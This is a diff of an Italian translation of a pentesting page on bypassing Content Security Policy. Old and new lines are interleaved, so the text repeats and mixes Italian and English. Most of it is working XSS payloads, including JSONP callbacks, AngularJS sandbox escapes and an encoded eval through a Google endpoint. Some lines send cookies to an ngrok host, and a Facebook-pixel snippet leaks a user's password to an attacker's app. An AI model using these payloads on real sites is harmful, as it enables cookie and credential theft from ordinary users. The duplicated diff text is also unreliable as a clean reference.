- **report-to**: Specifica un gruppo a cui inviare un report se la policy viene violata.
|
||||
- **worker-src**: Specifica le sorgenti valide per gli script di Worker, SharedWorker o ServiceWorker.
|
||||
- **prefetch-src**: Specifica le sorgenti valide per risorse che verranno recuperate o precaricate.
|
||||
- **navigate-to**: Restringe le URL verso cui un documento può navigare con qualsiasi mezzo (a, form, window.location, window.open, ecc.)
|
||||
- **worker-src**: Specifica sorgenti valide per script Worker, SharedWorker o ServiceWorker.
|
||||
- **prefetch-src**: Specifica sorgenti valide per risorse che saranno caricate o prefetchate.
|
||||
- **navigate-to**: Restringe gli URL verso cui un documento può navigare con qualunque mezzo (a, form, window.location, window.open, ecc.)
|
||||
|
||||
### Origini
|
||||
|
||||
- `*`: Consente tutte le URL tranne quelle con gli schemi `data:`, `blob:`, `filesystem:`.
|
||||
- `*`: Permette tutti gli URL tranne quelli con schemi `data:`, `blob:`, `filesystem:`.
|
||||
- `'self'`: Consente il caricamento dallo stesso dominio.
|
||||
- `'data'`: Consente il caricamento di risorse tramite lo schema data (es., immagini codificate in Base64).
|
||||
- `'none'`: Blocca il caricamento da qualsiasi sorgente.
|
||||
- `'unsafe-eval'`: Consente l'uso di `eval()` e metodi simili, sconsigliato per motivi di sicurezza.
|
||||
- `'unsafe-hashes'`: Abilita specifici event handler inline.
|
||||
- `'unsafe-inline'`: Consente l'uso di risorse inline come `<script>` o `<style>` inline, sconsigliato per motivi di sicurezza.
|
||||
- `'nonce'`: Una whitelist per script inline specifici usando un nonce crittografico (numero usato una volta).
|
||||
- Se hai un'esecuzione JS limitata è possibile ottenere un nonce già usato all'interno della pagina con `doc.defaultView.top.document.querySelector("[nonce]")` e poi riutilizzarlo per caricare uno script malevolo (se è usato strict-dynamic, qualsiasi sorgente consentita può caricare nuove sorgenti quindi questo non è necessario), come in:
|
||||
- `'unsafe-eval'`: Consente l'uso di `eval()` e metodi simili, non raccomandato per motivi di sicurezza.
|
||||
- `'unsafe-hashes'`: Abilita specifici gestori di eventi inline.
|
||||
- `'unsafe-inline'`: Consente l'uso di risorse inline come `<script>` o `<style>` inline, non raccomandato per motivi di sicurezza.
|
||||
- `'nonce'`: Una whitelist per specifici script inline che usa un nonce crittografico (numero usato una sola volta).
|
||||
- Se hai un'esecuzione JS limitata è possibile ottenere un nonce usato all'interno della pagina con `doc.defaultView.top.document.querySelector("[nonce]")` e poi riutilizzarlo per caricare uno script maligno (se viene usato strict-dynamic, qualsiasi sorgente consentita può caricare nuove sorgenti quindi questo non è necessario), come in:
|
||||
|
||||
<details>
|
||||
|
||||
@ -88,18 +88,18 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
</details>
|
||||
|
||||
- `'sha256-<hash>'`: Inserisce nella whitelist gli script con uno specifico hash sha256.
|
||||
- `'strict-dynamic'`: Permette il caricamento di script da qualsiasi origine se sono stati messi in whitelist tramite un nonce o hash.
|
||||
- `'host'`: Specifica un host, ad esempio `example.com`.
|
||||
- `'sha256-<hash>'`: Consente gli script con uno specifico hash sha256.
|
||||
- `'strict-dynamic'`: Permette il caricamento di script da qualsiasi sorgente se è stato inserito in whitelist tramite nonce o hash.
|
||||
- `'host'`: Specifica un host specifico, come `example.com`.
|
||||
- `https:`: Restringe gli URL a quelli che usano HTTPS.
|
||||
- `blob:`: Consente di caricare risorse da Blob URL (es. Blob URL creati tramite JavaScript).
|
||||
- `filesystem:`: Consente il caricamento di risorse dal filesystem.
|
||||
- `'report-sample'`: Include un esempio del codice violante nel report di violazione (utile per il debugging).
|
||||
- `'strict-origin'`: Simile a 'self' ma garantisce che il livello di sicurezza del protocollo delle sorgenti corrisponda a quello del documento (solo origini sicure possono caricare risorse da origini sicure).
|
||||
- `'strict-origin-when-cross-origin'`: Invia URL completi quando effettua richieste same-origin ma invia solo l'origine quando la richiesta è cross-origin.
|
||||
- `'unsafe-allow-redirects'`: Consente il caricamento di risorse che reindirizzano immediatamente a un'altra risorsa. Non raccomandato perché indebolisce la sicurezza.
|
||||
- `blob:`: Permette di caricare risorse da Blob URL (es. Blob URL creati via JavaScript).
|
||||
- `filesystem:`: Permette di caricare risorse dal filesystem.
|
||||
- `'report-sample'`: Include un esempio del codice in violazione nel report (utile per il debugging).
|
||||
- `'strict-origin'`: Simile a 'self' ma assicura che il livello di sicurezza del protocollo delle sorgenti corrisponda a quello del documento (solo origini sicure possono caricare risorse da origini sicure).
|
||||
- `'strict-origin-when-cross-origin'`: Invia URL completi per richieste same-origin ma invia solo l'origine quando la richiesta è cross-origin.
|
||||
- `'unsafe-allow-redirects'`: Permette il caricamento di risorse che eseguiranno un redirect immediato verso un'altra risorsa. Non consigliato perché indebolisce la sicurezza.
|
||||
|
||||
## Unsafe CSP Rules
|
||||
## Regole CSP non sicure
|
||||
|
||||
### 'unsafe-inline'
|
||||
```yaml
|
||||
@ -107,7 +107,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
Payload funzionante: `"/><script>alert(1);</script>`
|
||||
|
||||
#### self + 'unsafe-inline' tramite iframe
|
||||
#### self + 'unsafe-inline' tramite Iframes
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -127,13 +127,13 @@ Payload funzionante:
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
Se in qualche modo puoi far sì che un **codice JS consentito crei un nuovo script tag** nel DOM con il tuo codice JS, perché uno script consentito lo sta creando, il **nuovo script tag sarà autorizzato a essere eseguito**.
|
||||
Se in qualche modo riesci a far sì che un **codice JS consentito crei un nuovo script tag** nel DOM con il tuo codice JS, poiché uno script consentito lo sta creando, il **nuovo script tag sarà autorizzato ad essere eseguito**.
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
Funzionante payload:
|
||||
Payload funzionante:
|
||||
```html
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
@ -144,7 +144,7 @@ Funzionante payload:
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
Payloads funzionanti:
|
||||
Payload funzionanti:
|
||||
```html
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
@ -154,21 +154,21 @@ Payloads funzionanti:
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Se puoi caricare un file JS puoi bypassare questa CSP:
|
||||
Se puoi caricare un file JS puoi bypass questa CSP:
|
||||
|
||||
Payload funzionante:
|
||||
```html
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Tuttavia, è molto probabile che il server stia **validando il file caricato** e permetta solo di **caricare determinati tipi di file**.
|
||||
Tuttavia è molto probabile che il server stia **validando il file caricato** e permetta solamente di **caricare tipi di file determinati**.
|
||||
|
||||
Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/***.
|
||||
Inoltre, anche se riuscissi a caricare del **JS code inside** in un file usando un'estensione accettata dal server (es.: _script.png_) questo non sarebbe sufficiente perché alcuni server, come apache server, **selezionano il MIME type del file in base all'estensione** e browser come Chrome **rifiuteranno di eseguire Javascript** all'interno di qualcosa che dovrebbe essere un'immagine. "Per fortuna", ci sono degli errori. Per esempio, in un CTF ho scoperto che **Apache non conosce** l'estensione _**.wave**_, quindi non la serve con un **MIME type like audio/***.
|
||||
|
||||
Da qui, se trovi una XSS e un upload di file, e riesci a trovare un'**misinterpreted extension**, potresti provare a caricare un file con quella estensione contenente il contenuto dello script. Oppure, se il server verifica il formato corretto del file caricato, crea un polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
|
||||
Da qui, se trovi una XSS e un file upload, e riesci a individuare un'**estensione interpretata male**, potresti provare a caricare un file con quella estensione contenente lo script. Oppure, se il server verifica il formato corretto del file caricato, crea un polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
Se non è possibile iniettare JS, puoi comunque provare a esfiltrare per esempio credenziali **iniettando un form action** (e magari sperando che i password manager compilino automaticamente le password). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre i form actions.
|
||||
Se non è possibile injectare JS, puoi comunque provare a esfiltrare, per esempio, credenziali **inserendo un form action** (e magari contando sul fatto che i password manager compilino automaticamente le password). Puoi trovare un [**esempio in questo report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre i form actions.
|
||||
|
||||
### Third Party Endpoints + ('unsafe-eval')
|
||||
|
||||
@ -198,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Payloads che utilizzano Angular + una library con functions che restituiscono l'oggetto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
> [!TIP]
|
||||
> L'articolo mostra che puoi caricare tutte le **libraries** da `cdn.cloudflare.com` (o qualsiasi altro repo di JS libraries consentito), eseguire tutte le **functions** aggiunte di ciascuna library e verificare **quali functions di quali libraries restituiscono l'oggetto `window`**.
|
||||
> Il post mostra che puoi **caricare** tutte le **librerie** da `cdn.cloudflare.com` (o qualsiasi altro repository di librerie JS consentito), eseguire tutte le funzioni aggiunte di ciascuna libreria e verificare **quali funzioni di quali librerie restituiscono l'oggetto `window`**.
|
||||
```html
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
@ -231,9 +231,9 @@ Angular XSS da un nome di classe:
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
#### Abuso di google recaptcha JS code
|
||||
#### Abuso del codice JS di google recaptcha
|
||||
|
||||
Secondo [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) puoi abusare di [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) all'interno di una CSP per eseguire arbitrary JS code eludendo la CSP:
|
||||
Secondo [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) puoi abusare di [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) all'interno di una CSP per eseguire codice JS arbitrario bypassando la CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
@ -263,7 +263,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
#### Abuso di www.google.com per open redirect
|
||||
|
||||
La seguente URL reindirizza a example.com (da [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
L'URL seguente reindirizza a example.com (da [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
@ -275,7 +275,7 @@ Abuso di \*.google.com/script.google.com
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Scenari come questo, in cui `script-src` è impostato su `self` e un dominio particolare incluso nella whitelist, possono essere bypassati usando JSONP. Gli endpoint JSONP consentono metodi di callback insicuri che permettono a un attacker di eseguire XSS, payload funzionante:
|
||||
Scenari come questo in cui `script-src` è impostato su `self` e un dominio specifico è whitelisted possono essere bypassati usando JSONP. Gli endpoint JSONP consentono metodi di callback non sicuri che permettono a un attacker di eseguire XSS, working payload:
|
||||
```html
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
@ -289,15 +289,15 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
```html
|
||||
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per CSP bypass di diversi siti web.**
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per il bypass del CSP di diversi siti web.**
|
||||
|
||||
La stessa vulnerabilità si verifica se l'endpoint trusted contiene un Open Redirect, perché se l'endpoint iniziale è trusted, anche i redirect sono considerati trusted.
|
||||
La stessa vulnerabilità si verifica se il **trusted endpoint contiene un Open Redirect** perché se l'endpoint iniziale è trusted, anche i redirect sono considerati trusted.
|
||||
|
||||
### Abusi di terze parti
|
||||
|
||||
Come descritto nel [post seguente](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), esistono molti domini di terze parti che potrebbero essere consentiti nella CSP e che possono essere abusati per exfiltrate data o per eseguire codice JavaScript. Alcuni di questi fornitori di terze parti sono:
|
||||
Come descritto nel [post seguente](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), ci sono molti domini di terze parti che potrebbero essere consentiti nel CSP e che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi servizi di terze parti sono:
|
||||
|
||||
| Entità | Dominio consentito | Capacità |
|
||||
| Entità | Dominio consentito | Capacità |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
@ -308,9 +308,9 @@ Come descritto nel [post seguente](https://sensepost.com/blog/2023/dress-code-th
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Se trovi uno qualsiasi dei domini consentiti nella CSP del tuo target, è probabile che tu possa bypassare la CSP registrandoti sul servizio di terze parti e quindi o exfiltrate data verso quel servizio oppure eseguire codice.
|
||||
Se trovi uno qualsiasi dei domini consentiti nel CSP del tuo target, è probabile che tu possa bypassare il CSP registrandoti al servizio di terze parti e, o esfiltrare dati verso quel servizio o eseguire codice.
|
||||
|
||||
Ad esempio, se trovi la seguente CSP:
|
||||
Ad esempio, se trovi il seguente CSP:
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
@ -318,45 +318,45 @@ o
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
Dovresti essere in grado di esfiltrare dati, in modo simile a come è sempre stato fatto con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In questo caso, segui questi passaggi generali:
|
||||
Dovresti essere in grado di exfiltrate data, similmente a come è sempre stato fatto con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In questo caso, segui questi passaggi generali:
|
||||
|
||||
1. Crea un Facebook Developer account qui.
|
||||
1. Crea un account Facebook Developer qui.
|
||||
2. Crea una nuova app "Facebook Login" e seleziona "Website".
|
||||
3. Vai su "Settings -> Basic" e recupera il tuo "App ID"
|
||||
4. Nel sito target da cui vuoi esfiltrare i dati, puoi farlo usando direttamente il gadget del Facebook SDK "fbq" tramite un "customEvent" e il relativo payload.
|
||||
5. Vai al "Event Manager" della tua App e seleziona l'applicazione che hai creato (nota che l'event manager può essere trovato in un URL simile a questo: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Seleziona la tab "Test Events" per vedere gli eventi inviati dal "tuo" sito web.
|
||||
3. Vai in "Settings -> Basic" e prendi il tuo "App ID"
|
||||
4. Nel sito target da cui vuoi exfiltrate data, puoi exfiltrate data usando direttamente il gadget del Facebook SDK "fbq" tramite un "customEvent" e il data payload.
|
||||
5. Vai al tuo App "Event Manager" e seleziona l'applicazione che hai creato (nota che l'event manager potrebbe trovarsi in un URL simile a questo: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Seleziona la tab "Test Events" per vedere gli eventi inviati dal tuo sito web.
|
||||
|
||||
Poi, sul lato della vittima, esegui il seguente codice per inizializzare il Facebook tracking pixel in modo che punti all'app-id dell'account Facebook Developer dell'attaccante e emettere un custom event come segue:
|
||||
Poi, sul lato vittima, esegui il seguente codice per inizializzare il Facebook tracking pixel in modo che punti all'app-id dell'account Facebook developer dell'attaccante e inviare un custom event come segue:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
Per quanto riguarda gli altri sette domini di terze parti specificati nella tabella precedente, ci sono molti altri modi in cui puoi abusarne. Consulta il precedente [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) per spiegazioni aggiuntive su altri abusi di terze parti.
|
||||
Per quanto riguarda gli altri sette domini di terze parti specificati nella tabella precedente, esistono molti altri modi in cui è possibile abusarne. Fai riferimento al [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) citato in precedenza per spiegazioni aggiuntive sugli altri abusi legati a terze parti.
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Oltre alla redirezione sopracitata per aggirare le restrizioni di percorso, esiste un'altra tecnica chiamata Relative Path Overwrite (RPO) che può essere utilizzata su alcuni server.
|
||||
Oltre al reindirizzamento sopra citato usato per aggirare le restrizioni sui percorsi, esiste un'altra tecnica chiamata Relative Path Overwrite (RPO) che può essere utilizzata su alcuni server.
|
||||
|
||||
Ad esempio, se CSP permette il percorso `https://example.com/scripts/react/`, può essere aggirato come segue:
|
||||
Ad esempio, se CSP consente il percorso `https://example.com/scripts/react/`, può essere aggirato come segue:
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
Il browser caricherà infine `https://example.com/scripts/angular/angular.js`.
|
||||
Il browser alla fine caricherà `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Questo funziona perché per il browser stai caricando un file chiamato `..%2fangular%2fangular.js` situato sotto `https://example.com/scripts/react/`, il che è conforme alla CSP.
|
||||
Questo funziona perché per il browser stai richiedendo un file chiamato `..%2fangular%2fangular.js` situato sotto `https://example.com/scripts/react/`, il che è conforme al CSP.
|
||||
|
||||
Successivamente, verrà decodificato, richiedendo effettivamente `https://example.com/scripts/react/../angular/angular.js`, che è equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
Il browser lo decodificherà, richiedendo effettivamente `https://example.com/scripts/react/../angular/angular.js`, che è equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
**Sfruttando questa inconsistenza nell'interpretazione degli URL tra il browser e il server, le regole sui percorsi possono essere eluse.**
|
||||
Sfruttando questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole di percorso possono essere bypassate.
|
||||
|
||||
La soluzione è non trattare `%2f` come `/` lato server, garantendo un'interpretazione coerente tra browser e server per evitare questo problema.
|
||||
|
||||
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
### Esecuzione JS negli iframe
|
||||
### Esecuzione JS in iframe
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -367,33 +367,31 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
|
||||
|
||||
Se la direttiva **base-uri** è assente puoi abusarne per eseguire una [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
Moreover, if the **page is loading a script using a relative path** (like `<script src="/js/app.js">`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
|
||||
Se la pagina vulnerabile è caricata con **httpS**, usa un URL httpS nel base.
|
||||
Moreover, se la **pagina sta caricando uno script usando un percorso relativo** (come `<script src="/js/app.js">`) usando una **Nonce**, puoi abusare del **tag base** per far **caricare** lo script dal **tuo server ottenendo una XSS.**\
|
||||
If the vulnerable page is loaded with **httpS**, make use an httpS url in the base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
### Eventi AngularJS
|
||||
### AngularJS eventi
|
||||
|
||||
Una specifica policy nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto speciale `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per aggirare la CSP.
|
||||
Una specifica policy nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto speciale `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per aggirare la CSP. In particolare, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` sempre posizionato alla fine. Questa struttura è fondamentale per le tecniche di escape dalla sandbox.
|
||||
|
||||
In particolare, su Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` sempre posizionato alla fine. Questa struttura è fondamentale per le tecniche di sandbox escape.
|
||||
|
||||
Indirizzando questo array al filtro `orderBy`, è possibile iterarvi sopra, sfruttando l'elemento terminale (l'oggetto `window`) per invocare una funzione globale come `alert()`. Lo snippet di codice mostrato di seguito illustra questo processo:
|
||||
Inviando questo array al filtro `orderBy`, è possibile iterarvi sopra, sfruttando l'elemento terminale (l'oggetto `window`) per invocare una funzione globale come `alert()`. Lo snippet di codice dimostrativo qui sotto chiarisce questo processo:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Questo snippet evidenzia l'uso della direttiva `ng-focus` per attivare l'evento, impiegando `$event.path|orderBy` per manipolare l'array `path`, e sfruttando l'oggetto `window` per eseguire la funzione `alert()`, rivelando così `document.cookie`.
|
||||
Questo snippet evidenzia l'uso della direttiva `ng-focus` per innescare l'evento, impiegando `$event.path|orderBy` per manipolare l'array `path`, e sfruttando l'oggetto `window` per eseguire la funzione `alert()`, rivelando così `document.cookie`.
|
||||
|
||||
**Trova altri Angular bypasses in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
### AngularJS e whitelisted domain
|
||||
### AngularJS and whitelisted domain
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
Una CSP policy che whitelists domini per il caricamento di script in un'applicazione Angular JS può essere bypassata tramite l'invocazione di callback functions e di alcune classi vulnerabili. Ulteriori informazioni su questa tecnica sono disponibili in una guida dettagliata reperibile in questo [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||
Una policy CSP che consente solo domini specifici per il caricamento di script in un'applicazione Angular JS può essere bypassata tramite l'invocazione di callback functions e di alcune vulnerable classes. Ulteriori informazioni su questa tecnica sono disponibili in una guida dettagliata presente su questo [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||
|
||||
Payloads funzionanti:
|
||||
Working payloads:
|
||||
```html
|
||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||
@ -401,13 +399,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
Altri endpoint JSONP arbitrary execution possono essere trovati in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alcuni di essi sono stati eliminati o corretti)
|
||||
Altri endpoint di esecuzione arbitraria JSONP possono essere trovati in [**qui**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alcuni di essi sono stati cancellati o corretti)
|
||||
|
||||
### Bypass via Redirection
|
||||
### Bypass tramite redirezione
|
||||
|
||||
Cosa succede quando la CSP incontra un reindirizzamento lato server? Se il reindirizzamento porta a un origin diverso che non è consentito, fallirà comunque.
|
||||
Cosa succede quando CSP incontra una redirezione lato server? Se la redirezione porta a un'origine diversa non consentita, fallirà comunque.
|
||||
|
||||
Tuttavia, secondo la descrizione in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se il reindirizzamento porta a un path diverso, può bypassare le restrizioni originali.
|
||||
Tuttavia, secondo quanto descritto in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se la redirezione conduce a un percorso diverso, può aggirare le restrizioni originali.
|
||||
|
||||
Ecco un esempio:
|
||||
```html
|
||||
@ -427,17 +425,17 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.
|
||||
Se CSP è impostato su `https://www.google.com/a/b/c/d`, dato che il percorso è considerato, entrambi gli script `/test` e `/a/test` saranno bloccati dal CSP.
|
||||
|
||||
Tuttavia, l'URL finale `http://localhost:5555/301` verrà **reindirizzato lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non viene considerato**, e lo **script può essere caricato**, aggirando così la restrizione sul percorso.
|
||||
Tuttavia, l'URL `http://localhost:5555/301` finale verrà **reindirizzato lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non viene considerato**, e lo **script può essere caricato**, aggirando così la restrizione sul percorso.
|
||||
|
||||
Con questo reindirizzamento, anche se il percorso è specificato completamente, verrà comunque aggirato.
|
||||
|
||||
Pertanto, la soluzione migliore è assicurarsi che il sito non abbia vulnerabilità di open redirect e che non ci siano domini che possano essere sfruttati nelle regole CSP.
|
||||
Pertanto, la soluzione migliore è assicurarsi che il sito non abbia vulnerabilità di open redirect e che non ci siano domini sfruttabili nelle regole CSP.
|
||||
|
||||
### Bypass CSP with dangling markup
|
||||
|
||||
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
|
||||
Leggi [come spiegato qui](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
### 'unsafe-inline'; img-src \*; via XSS
|
||||
```
|
||||
@ -445,21 +443,20 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
